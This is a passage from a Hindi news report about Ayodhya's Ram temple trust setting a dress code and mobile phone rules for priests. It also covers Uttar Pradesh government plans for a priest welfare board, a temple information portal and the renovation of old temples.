संतोष तिवारी ने बताया कि मंदिर ट्रस्‍ट का निर्देश है कि पुजारियों को भगवा पगड़ी कुर्ता धोती व चौबंदी के ड्रेस में आना पड़ेगा। उन्‍होंने बताया कि यह ड्रेस कोड रविवार से लागू होगा। पुजारियों पर मोबाइल को गर्भ गृह में ले जाने पर रोक नहीं है पर वे फोन पर वार्ता गर्भ गृह से बाहर आकर ही कर सकेंगे। मोबाइल से फोटो खींचना भी मना है। अब पुजारी किसी से कोई दानराशि न लेकर उसे दान पात्र में डालने के लिए कहेंगे। प्रकाश गुप्‍ता ने बताया कि रामलला के मंदिर में मोबाइल प्रतिबंधित होने पर ट्रस्ट ने परिसर के पास पीएफसी के सामने दर्शन मार्ग के दोनों तरफ सेल्फी पॉइंट स्‍थापित किया है। सेल्फी पॉइंट को हूबहू गर्भगृह की तरह सजाया और संवारा गया है जहां श्रद्धालुओं की बड़ी संख्‍या रोजाना मोबाइल से सेल्‍फी ले रहे हैं। श्रद्धालुओं की मांग पर ट्रस्ट ने वैकल्पिक रास्ता निकाला है।

हुई थी पुरोहित कल्याण बोर्ड बनाने की घोषणा
उत्तर प्रदेश के बड़ी संख्या में मंदिर हैं. मंदिर के पुजारियों के पद छोड़ने पर उनके लिए कोई व्यवस्था नहीं रहती है. इसलिए योगी आदित्यनाथ की सरकार ने पहले पुरोहित कल्याण बोर्ड बनाने की घोषणा की थी. अब मुख्यमंत्री ने इसमें तेज़ी लाने के निर्देश दिए हैं. इसके लिए ग्राउंड वर्क कर लिया गया है. इसी के ज़रिए पुरोहित-अर्चकों की मदद की जाएगी. इस योजना में 'सनातन' से जुड़े सभी पंथों सिख, जैन आदि को भी शामिल किया जाएगा.

एक क्लिक में मिलेगी मंदिरों की जानकारी
उत्तर प्रदेश में पिछले कुछ समय से धार्मिक और आध्यात्मिक पर्यटन को बढ़ावा देने के लिए कई योजनाएं शुरू की गयी हैं. राम मंदिर के लोकार्पण के बाद से यूपी में धार्मिक पर्यटन करने वालों की संख्या बहुत ज़्यादा बढ़ी है. इसके लिए अब सभी धर्मस्थलों और मंदिरों की जानकारी एक क्लिक में मिलेगी. इसके लिए सेंट्रलाइज्ड पोर्टल पर तेज़ी से काम चल रहा है. इसमें न सिर्फ़ प्रदेश के बड़े मंदिरों बल्कि हर ज़िले के प्रमुख मंदिरों की पौराणिक मान्यता, इतिहास और अन्य जानकरियां उपलब्ध करायी जाएंगी.

मंदिरों के जीर्णोद्धार की योजना
योगी सरकार की इस पहल पर विश्व पुरोहित परिषद ने भी खुशी जताई है. साथ ही, यह कहा है कि सनातन की रक्षा करने वाले पुरोहितों के हितों को देखना ज़रूरी है. उत्तर प्रदेश में धार्मिक और आध्यात्मिक पर्यटन को बढ़ावा देने के लिए कई कदम उठाए गए हैं. 100 साल से ज़्यादा पुराने मंदिरों जीर्णोद्धार के लिए अलग से योजना तैयार की गयी है. अब पुरोहितों के लिए मानदेय और आर्थिक मदद की व्यवस्था कर सरकार एक नयी शुरुआत करने वाली है.

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